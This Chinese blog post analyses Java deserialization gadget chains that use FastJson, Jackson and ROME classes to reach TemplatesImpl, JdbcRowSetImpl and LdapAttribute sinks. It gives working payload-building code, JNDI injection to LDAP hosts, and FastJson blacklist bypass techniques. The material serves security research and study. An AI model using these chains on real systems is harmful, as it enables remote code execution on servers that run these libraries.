利用特殊反序列化组件攻击原生反序列化入口

news2024/11/7 7:54:13

目录

前言

本文所述攻击的本质是将上述组件中的类拼接到反序列化利用利用链中,打的是Serilizable入口,而不是特殊反序列化入口

攻击原理

利用链分析

readObject()->任意类toString()

HotSwappableTargetSource & XString

BadAttributeValueExpException

EqualsBean

中间部分

toString()->sink

TemplatesImpl#getOutputProperties

JdbcRowSetImpl#getDatabaseMetaData

LdapAttribute#getAttributeDefinition

序列化逻辑分析

FastJson

黑名单检查与绕过

默认构造方法的必要性及其破除

引用类型绕过

缓存

Jackson

getter调用顺序不稳定及解决方式

删除writeplace()方法

Rome

TemplatesImpl

JdbcRowSetImpl

LdapAttribute

多打几次拼运气(×)

找一个没有get方法的父类或接口(×)

1.12.0后的修复

工具实现

参考


前言

所谓特殊反序列化,就是指自实现了序列化/反序列化逻辑的组件,本文主要讨论以下三种

  • FastJson

  • Jackson(SpringBoot原生环境自带)

  • ROME(其实并不是特殊反序列化组件,但因为它也经常出现在toString利用链中,故放到一起讨论)

本文所述攻击的本质是将上述组件中的类拼接到反序列化利用利用链中,打的是Serilizable入口,而不是特殊反序列化入口

篇幅有限,无法对上述组件进行详细介绍,请还没了解的读者自行查阅有关文章

攻击原理

这些组件在实现自己的序列化逻辑(获取对象field值)时,会使用自身类重写的toString方法

这些类的toString方法中,会调用目标类(也就是放在这些类中的Gadget后半部分,例如TemplatesImpl)的getter方法以获取目标类对象中的field值

目标类obj放在这些类

如 jsonObject1.put("g",obj); ToStringBean toStringBean = new ToStringBean(obj.getClass(),obj);

这些类包括:FastJson的JSONObject类、Jackson的POJONode类,ROME的ToStringBean类

目标类getter:TemplatesImpl#getOutputProperties、LdapAttribute#getAttributeDefinition、JdbcRowsetImpl#getDatabaseMetaData

值得一提的是,由于是原生反序列化中的攻击,所以要求利用链上的类都要实现Serilizable接口,因此无法使用BCEL那条链(仅特殊反序列化如FastJson可用)

利用链分析

readObject()->任意类toString()

HotSwappableTargetSource & XString

依赖于SpringAOP

测试代码如下(以JsonObject为例)

public static void main(String[] args) throws Exception {        
        Object templatesimpl = null;
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("g","m");
        JSONObject jsonObject1 = new JSONObject();
        jsonObject1.put("g",templatesimpl);

        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(v1,v1);
        hashMap.put(v2,v2);
        setValue(v1,"target",jsonObject1);

//      用于Reference包裹绕过FastJSon高版本resolveClass黑名单检查,from Y4tacker
/*        HashMap<Object,Object> hhhhashMap = new HashMap<>();
        hhhhashMap.put(tpl,hashMap);*/

        serialize(hashMap);
        unserialize("ser.bin");
}

public static void setValue(Object obj,String field,Object value) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

来看一下调用栈

图片

在Xtring#equals方法中,调用了obj2的toString()方法,这个obj2就是HotSwappableTargetSource中和XString对象作比较的templatesimpl对象

public boolean equals(Object obj2)
  {

    if (null == obj2)
      return false;

      // In order to handle the 'all' semantics of
      // nodeset comparisons, we always call the
      // nodeset function.
    else if (obj2 instanceof XNodeSet)
      return obj2.equals(this);
    else if(obj2 instanceof XNumber)
        return obj2.equals(this);
    else
      return str().equals(obj2.toString());
  }
BadAttributeValueExpException

JDK原生可用

这个就很简单了,BadAttributeValueExpException.readObject()直接走到它里面对象的toString

代码如下

Object tpl = null;
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("gg",tpl);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,jsonObject);
//      用于Reference包裹绕过FastJSon高版本resolveClass黑名单检查,from Y4tacker
/*        HashMap hashMap = new HashMap();
        hashMap.put(tpl,poc);*/
        serialize(poc);
        unserialize("ser.bin");
BadAttributeValueExpException.readObject()

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString(); //在这里调用了里面对象的toString()方法
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }
EqualsBean

依赖于ROME,在其1.12.0版本前均可用

代码如下

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        Object templatesimpl = null;

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean,"123");

        Field field = toStringBean.getClass().getDeclaredField("obj"); // 低版本(如1.0)此属性名为 _obj
        field.setAccessible(true);
        field.set(toStringBean,templatesimpl);
        serialize(hashMap);
        unserialize("ser.bin");

调用栈如下

图片

另外这条链很多地方都可以替换

  • 由于是在HashMap中调用key.hashCode()作为入口,所以入口类HashMap可以换成Hashtable

  • ObjectBean.hashCode()中会调用EqualsBean.beanHashCode() = EqualsBean.hashCode() 因此可以用ObjectBean替换EqualsBean

中间部分

FastJson的JSONObject类 或 Jackson的POJONode类 或 ROME的ToStringBean类中放好目标类即可

toString()->sink

TemplatesImpl#getOutputProperties

JDK原生可用

这条链早在CC和CB中就用到过,故不多作介绍

三组件均可用,但结合Rome、Jackson使用时需要一些特殊处理,详见后文

JdbcRowSetImpl#getDatabaseMetaData

JDK原生可用

JdbcRowSetImpl jdbcrowsetimpl = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:10990";
        jdbcRowset.setDataSourceName(url);

这条链其实就是FastJson Jdbc链的另一种getter触发方式,效果同样是走到connect()中的lookup实现JNDI注入

由于组件序列化逻辑问题,该链仅Rome可用,原因详见后文

LdapAttribute#getAttributeDefinition

JDK原生可用

Object obj = newInstance("com.sun.jndi.ldap.LdapAttribute", new Class<?>[]{String.class},"id");
        setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:13562");
        setFieldValue(obj, "rdn", new CompositeName("whocansee"+"//b"));

    public static Object newInstance(String classname, Class<?>[] paramTypes, Object... args) throws NoSuchMethodException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {
        return getConstructor(classname, paramTypes).newInstance(args);
    }
    public static Constructor<?> getConstructor(String classname, Class<?>[] paramTypes) throws ClassNotFoundException, NoSuchMethodException {
        Constructor<?> ctor = Class.forName(classname).getDeclaredConstructor(paramTypes);
        ctor.setAccessible(true);
        return ctor;
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

此链效果:JNDI注入

由于组件序列化逻辑问题,Rome不可使用该链,原因详见后文

序列化逻辑分析

此部分重点在于分析不同组件不同的序列化逻辑对利用链选用的影响以及绕过安全检查,不会每个都跟进一遍序列化流程,感兴趣的师傅可以自己调试

FastJson

黑名单检查与绕过

了解过FastJson漏洞的师傅一定都知道它的checkAutoType方法,这是其核心防御机制,原本只在FastJson反序列化流程中被触发

然而到了1.2.49以后,JsonObject类中重写了readObject方法,在resolveClass中会对目标类进行checkAutoType检查,本文所述攻击方式会受影响

参考1ue师傅提出的绕过方法,给入口类对象和目标类对象套一层List、Set或Map,以BadAttributeValueExpException入口类为例,代码如下

HashMap hashMap = new HashMap();
hashMap.put(tpl,poc);   
serialize(hashMap);
// tpl即目标类对象(此处为TemplatesImpl类对象) poc即入口类对象(如BadAttributeValueExpException类对象)

从而使得

  • 序列化时,先给外层Map中的目标类对象建立引用映射,再在序列化JsonObject中的目标类对象时以引用类型写入目标类对象

  • 反序列化时,在恢复JsonObject中的目标类对象时,因为它是引用类型,所以不会走到resolveClass方法,实现绕过

至于为什么在恢复引用类型对象时不会调用resolveClass方法,跟进反序列化流程,在此之前有一处判断

switch (tc) {
                case TC_NULL:
                    return readNull();
                case TC_REFERENCE:
                    return readHandle(unshared);
                case TC_CLASS:
                    return readClass(unshared);
                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);
                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));
                case TC_ARRAY:
                    return checkResolve(readArray(unshared));
                case TC_ENUM:
                    return checkResolve(readEnum(unshared));
                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));
                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);
                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }
                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }
                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }

readClassDesc、checkResolve等方法最终都会走到resolveClass 而目标类若为引用类型便会走到TC_REFERENCE 中的readHandle 绕过了resolveClass

也可以简单理解为,在外层Map中的时候就恢复过一次了,有缓存,所以第二次恢复就直接引用了

推广一下这种绕过思路,当Gadget中的某个类在readObject里的resolveClass方法中添加了安全检查,我们只要能顺利通过入口的readObject方法,就可以将黑名单类对象转换为引用类型来绕过检测

而当入口的readObject方法也做了黑名单检测之类的防御时,就需要结合二次反序列化进行绕过了(SignedObject、UnicastRef、JNDI.......)

默认构造方法的必要性及其破除

当JsonObject中的目标类不存在默认构造方法(存在有参构造方法且不定义无参构造方法)时,会出现如下报错:

图片

问题出现在 AliyunCTF2023 #ezbean中,虽然目前的主流sink都不存在这个问题,但我们还是尝试解决一下

引用类型绕过

观察调用栈,发现报错是出在resolveClass->checkAutoType逻辑中,那就可以通过绕过resolveClass来解决问题,具体操作和上个部分一样

缓存

跟进build方法,发现其会遍历一遍目标类的构造方法,如果找不到默认构造方法就会报错,显然build方法内部没有什么可干涉的点

那能否在checkAutoType被调用的前提下,不让build方法被调用呢?看看build方法调用前的代码

if (clazz != null) {
            if (jsonType) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

可以看到,在build之前,会先将类加入到缓存中(开了AutoType且此时已经通过了黑名单检查)

回想一下FastJson 1.2.47版本的绕过方式,如果能从缓存中找到目标类,会在很早的时候就加载类并返回,也就绕过了黑名单检查

借鉴这种思路,我们可以添加缓存,提前返回类,从而避免build中的报错

然而这里有一个区别,1.2.47绕过方式中使用了两个json;第一个json为目标类添加缓存,第二个json实现攻击;并且第一次反序列化不会报错中断流程,所以第二个json才能顺利被反序列化从而完成攻击

而我们现在的情况是:完成攻击需要build A类,而build会报错,解决这个问题需要给A类加缓存,但是在给A类加缓存之后又一定会因为build A类而报错

预想的操作是打两次,第一次加缓存,第二次借助缓存提前返回类,而这需要本次攻击加入的缓存持续生效至下一次攻击

这在报错即终止程序生命周期的情况下一定做不到,比如本地运行serialize & unserialize

好在类缓存是存放在一个名为mappings静态变量中的,在大多数服务器环境下,多试几次就能完成攻击

Jackson

引入以下jar包

图片

嫌麻烦的话直接引入 springframework.boot.spring.starter.web依赖就行

getter调用顺序不稳定及解决方式

这一块已经有师傅写过相关文章,我也就不做重复劳动了

问题原因: https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q

解决方式: https://xz.aliyun.com/t/12846

值得一提的是,Jackson结合LDAPAttribute使用的时候不需要这部分操作,如果添加了反而会出错(当然

删除writeplace()方法

这一块也早就有很多师傅提过,但因为是一个很小的点,并没有专门分析的文章,不太好直接扔个链接,我也就干脆顺便提一下

在Java对象的序列化流程中,如果其类(或父类)拥有writeReplace方法(字面意思,writeObject 替代)就会走到类自己的序列化逻辑

Jackson中的POJONode类就满足这个条件,在序列化的时候便会发生报错(Jackson序列化和Java原生序列化的数据自然是不同的)

解决这个问题有多种思路,我们直接使用Javaassist字节码修改工具,删除BaseJsonNode类中的writeReplace方法即可

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

Rome

Rome 1.12.0之前都可以用,注意1.0和后续版本中beanClass、obj的属性名有差别(低版本属性名前会有一个下划线 _ )

TemplatesImpl

Rome结合TemplatesImpl利用时存在和Jackson相似的问题,可能会在调用别的getter时报错而提前终止流程

这里也是采用相似的解决思路,使用Rome时可以直接在ToStringBean里指定从哪个类里获取getter,操作起来很简单

Object templatesImpl = null;
        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); //在这里指定了从templates.class接口里去获取getter,
                                                                              //其中只有一个getter:getOutputProperties()
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = Bv.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);
        serialize(badAttributeValueExpException);       
        unserialize("ser.bin");
JdbcRowSetImpl

Rome链可以结合JdbcRowSetImpl使用,乍一看没什么大不了,但对getter调用流程有了解的师傅应该会意识到问题所在

getter的调用是一个一个来的,如果中途报错,流程就会中断,让我们来看看JdbcRowSetImpl里的getter(property:仅A到D)

图片

.......有点太多了,这也是为什么FastJson和Jackson结合JdbcRowSetImpl的利用都是会中途报错的

回到Rome,真的有可能走到我们想要的getter而不报错吗?调试一下Rome结合JdbcRowSetImpl的利用代码

public static void main(String[] args) throws Exception{
        JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:10990";
        jdbcRowset.setDataSourceName(url);

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowset);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = Bv.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }

getDatabaseMetaData()处下一个断点,得到调用栈

图片

在ToStringBean#toString(String):137Object value = pReadMethod.invoke(_obj,NO_PARAMS); 处下个断点,观察pReadMethod

  • getQueryTimeout

  • getEscapeProcessing

  • getMaxFieldSize

  • getDatabaseMetaData()

  • .............

这个顺序又是怎么决定的呢,中间的过程很无聊,我就不详细说明了,感兴趣的师傅可以自己去调试一下,也没有多复杂

总之最终的调用顺序是按照一个HashMap转换而成的Descriptor(当成List就行)来的,而我们都知道HashMap是根据键的哈希值来确定存储顺序的(相当于随机了)

总之就是在这个机缘巧合之下,getter存放顺序很合适,使得在调用到getDatabaseMetaData()之前都不会报错

从而Rome链可以结合JdbcRowSetImpl使用!

LdapAttribute

Rome链不可以结合LdapAttribute使用,同样是很反直觉的一个现象,让我们看看LdapAttribute中的getter

图片

方法很少,并且都不会强制报错,我们的目标是调用到getAttributeDefinition

按理说没啥问题,在getAttributeDefinition 处下断点,调试一下

public static void main(String[] args) throws Exception{
        Object obj = newInstance("com.sun.jndi.ldap.LdapAttribute", new Class<?>[]{String.class},"id");
        setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:11123");
        setFieldValue(obj, "rdn", new CompositeName("whocansee"+"//b"));

        ToStringBean toStringBean = new ToStringBean(obj.getClass(),obj);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = Bv.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static Object newInstance(String classname, Class<?>[] paramTypes, Object... args) throws NoSuchMethodException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {
        return getConstructor(classname, paramTypes).newInstance(args);
    }
    public static Constructor<?> getConstructor(String classname, Class<?>[] paramTypes) throws ClassNotFoundException, NoSuchMethodException {
        Constructor<?> ctor = Class.forName(classname).getDeclaredConstructor(paramTypes);
        ctor.setAccessible(true);
        return ctor;
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

没走到想要的断点。把之前研究JdbcRowSetImpl下的断点开一下,慢慢跟

中间的过程很繁琐,低版本Rome就算实际是报错了也不会打印报错信息,根本不知道是哪里抛出的错误。我一步一个断点,痛苦调试快十分钟才找到出错的地方

建议使用高版本Rome,一步到位

图片

PropertyDescriptor#PropertyDescriptor(String,Method,Method) L135:IntrospectionException("bad property name");下断点, 分析结果如下:

LDAPAttribute类有一个get方法:

图片

ROME的序列化逻辑中会获取到它,然后获取pName(propertyName)——什么都没有,随后直接报错

图片

图片

实在是让人哭笑不得的问题,这处设计的用意显然也不是用来防御的,但我们攻击中的这一环恰好就会因此断开

有没有什么办法解决呢?前面也遇到了相似的问题,尝试迁移一下思路

多打几次拼运气(×)

由于getter就这几个,再加上getter调用顺序随机的机制,理论上来说打个几十次大概率能至少有一次成功

可惜的是,这个问题是出在获取getter时,根本都进入不到调用的流程

找一个没有get方法的父类或接口(×)

很可惜,就算找到LdapAttribute的接口Attribute,都仍然有get()方法

目前为止没能发现别的思路,因此Rome链确实是不可以结合LdapAttribute使用的

1.12.0后的修复

Rome链在1.12.0之后的版本不可用了,修复主要集中在对于ToStringBean类的修改

首先是构造方法的修改

private ToStringBean() {}

这一点对于攻击利用来说无伤大雅,真正致命的修复是对toString方法的修改

public static String toString(Class<?> beanClass, Object obj)

老版本的toString()是无参的,其中beanClass(决定了从哪个类里获取getter)和obj(决定调用哪个对象的getter)都是直接用类属性里的,通过构造方法传入或者反射修改类属性的方式都可以操纵这两个关键参数

修复后,这两个参数由调用toString的地方传入

图片

需要两处都可控才有可能继续利用,这么看来显然是不行的了,1.12.0后Rome链确实是不能再利用了

工具实现

本文所述所有payload都可以在wh1t3p1g师傅的ysomap项目中找到(其中有几条是我贡献的XD)

https://github.com/wh1t3p1g/ysomap

My GitHub:https://github.com/whocansee

参考

https://xz.aliyun.com/t/12768

https://paper.seebug.org/2055

https://zhuanlan.zhihu.com/p/638158617

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

原文地址:https://xz.aliyun.com/t/12910

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

学习更多渗透技能!体验靶场实战练习

+V【zkaq222】或者下面的扫码不然通不过哦,免费领取安全学习资料包!(私聊进群一起学习,共同进步)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1114964.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据防泄密软件排行榜

数字化时代&#xff0c;数据已成为企业的重要资产。然而&#xff0c;数据泄露事件却时常发生&#xff0c;给企业带来巨大的经济损失和声誉风险。因此&#xff0c;数据防泄密软件的重要性日益凸显。 数据防泄密软件是什么 它是一种专门用于防止敏感数据泄露的软件工具。它通过对…

Java虚拟机常见面试题总结

梳理Java虚拟机相关的面试题&#xff0c;主要参考《深入理解Java虚拟机 JVM高级特性与最佳实践》(第2版, 周志明 著)一书&#xff0c;其余部分整合网络相关内容。注意&#xff0c;关于Java并发编程的面试题因为内容较多&#xff0c;单独整理。Java基础相关的面试题可以参考Java…

“懒宅经济”崛起,智能家电品牌快收好这份软文推广指南

目前&#xff0c;国内智能家电呈迅猛发展之势&#xff0c;"懒宅经济"崛起使智能小家电市场不断扩展&#xff0c;根据数据显示&#xff0c;目前购买智能家电的消费者大部分目的是为了节省时间&#xff0c;以及对新鲜事物有着强烈的好奇心&#xff0c;由此来看&#xf…

Pytorch从零开始实战06

Pytorch从零开始实战——明星识别 本系列来源于365天深度学习训练营 原作者K同学 文章目录 Pytorch从零开始实战——明星识别环境准备数据集模型选择开始训练模型可视化模型预测总结 环境准备 本文基于Jupyter notebook&#xff0c;使用Python3.8&#xff0c;Pytorch2.0.1c…

订水商城H5实战教程-01需求分析

目录 1 用户分析2 模块分析3 原型设计3.1 首页3.2 商城3.3 一键订购3.4 我的3.5 确认订单3.6 地址管理3.7 编辑地址3.8 搜索3.9 搜索结果3.10 充值3.11 我的订单3.12 开票信息3.13 优惠券3.14 我的空桶3.15 商品详情3.16 购物车3.17 门店信息3.18 订单详情 总结 生活中&#xf…

2023柏鹭杯 express fs

进去看看&#xff0c;发现有个file的参数 查看源码有个?filecheck.html&#xff0c;我们尝试?file/etc/passwd&#xff0c;发现可以直接访问任意文件&#xff0c;但是访问不到flag,可能被waf禁掉了 实际上node不能像php有伪协议可以绕&#xff0c;也没办法用什么编码绕过等&…

Android前台服务和通知

前台服务 Android 13及以上系统需要动态获取通知权限。 //android 13及以上系统动态获取通知权限 if (Build.VERSION.SDK_INT > Build.VERSION_CODES.Q) {checkPostNotificationPermission(); } private void checkPostNotificationPermission() {if (ActivityCompat.chec…

xhadmin多应用Saas框架如何下载安装?

xhadmin是什么&#xff1f; xhadmin 是一套基于最新技术的研发的多应用 Saas 框架&#xff0c;支持在线升级和安装模块及模板&#xff0c;拥有良好的开发框架、成熟稳定的技术解决方案、提供丰富的扩展功能。为开发者赋能&#xff0c;助力企业发展、国家富强&#xff0c;致力于…

小白学java--垃圾回收机制(Garbage Collection)

压测过程中&#xff0c;作为测试会时不时听到研发说命中gc了&#xff0c;如果一头雾水&#xff0c;来看看什么是gc。 1、什么是垃圾回收机制 垃圾回收的执行过程会导致一些额外的开销&#xff0c;例如扫描和标记对象、回收内存空间等操作。这些开销可能会导致一定的性能损失和…

云安全(2)--CAP_SYS_MODULE逃逸

文章目录 测试环境配置实际环境利用 测试环境配置 docker run -it --cap-addSYS_MODULE ubuntu:18.04实际环境利用 cat /proc/self/status|grep Cap然后使用capsh decode一下 capsh --decode00000000a80525fb发现有CAP_SYS_MODULE权限&#xff0c;那么直接往内核注入恶意mo…

Streamlit库开发python交互式Web应用程序

Streamlit是一个开源的Python库&#xff0c;旨在帮助开发人员轻松创建数据科学和机器学习的Web应用程序。它允许您只需几行Python代码即可构建交互式Web应用程序&#xff0c;因此常用于创建数据驱动的应用程序、仪表板和原型。Streamlit以其简单性而闻名&#xff0c;通常被数据…

光影之梦:影视动画渲染的魅力

在动画世界中&#xff0c;光影与色彩是赋予生命与灵魂的魔法。它们将虚无的想象变为具象的画面&#xff0c;让故事情感跃然于屏幕之上。影视动画渲染&#xff0c;正是这一魔法的精妙施展&#xff0c;它以光影为笔&#xff0c;色彩为墨&#xff0c;勾勒出一个个绚丽多姿的梦境。…

洗地机哪个好用?2023年洗地机推荐指南

说到提高家庭幸福生活的家电&#xff0c;洗地机肯定是少不了的&#xff0c;特别对于现在快节奏的生活来说&#xff0c;高效率的解决家务活&#xff0c;而且能够大幅度的提高生活质量。在市场上&#xff0c;消费者面临着选择合适洗地机的难题&#xff0c;因为有各种型号、功能和…

德国大陆博世 ars 548 4D 毫米波雷达 window 系统或者 Ubuntu 系统通讯以及数据解析和显示程序

德国大陆博世 ars 548 4D 毫米波雷达 window 系统或者 Ubuntu ROS 系统通讯以及数据解析和显示程序

这件事,准备考PMP的都必须知道

大家好&#xff0c;我是老原。 新的一月&#xff0c;新的困惑。最近接到的咨询很多&#xff0c;但的确出现了差异化的特质。 以前的粉丝朋友上来就问&#xff0c;我现在是项目经理&#xff0c;主要负责产品研发&#xff0c;我是考PMP还是NPDP好&#xff1f; 现在的粉丝朋友会…

AGC电路,模拟乘法器

文章目录 AGC电路乘法器 AGC电路 注&#xff1a;下面三个没试过 乘法器 TI只有这一种乘法器&#xff0c;跟ADI的AD534一模一样 这个报告里有很多错误 做乘法器最厉害的是ADI

JUC并发编程——各种锁的理解(基于狂神说的学习笔记)

各种锁的理解 公平锁与非公平锁 公平锁&#xff1a;非常公平&#xff0c;不能够插队&#xff0c;先来后到 非公平锁&#xff1a;可以插队&#xff0c;比较灵活&#xff08;默认都是非公平&#xff0c;如&#xff1a;synchronized,lock&#xff09; // Lock lock new Reent…

从一次性销售到持续收益:低代码服务商的转型之路

随着低代码市场快速发展&#xff0c;低代码代理商也成为近年来快速崛起的一种新型IT服务提供商&#xff0c;其以敏捷、灵活和高效的优势可以有效地帮助企业加速数字化转型。然而&#xff0c;尽管低代码代理商们的潜力巨大&#xff0c;却共同面临着一个关键的挑战——与客户的合…

瑞芯微RKNN开发·yolov7

官方预训练模型转换 下载yolov7源码解压到本地&#xff0c;并配置基础运行环境。下载官方预训练模型 yolov7-tiny.ptyolov7.pt… 进入yolov7-main目录下&#xff0c;新建文件夹weights&#xff0c;并将步骤2中下载的权重文件放进去。修改models/yolo.py文件 def forward(sel…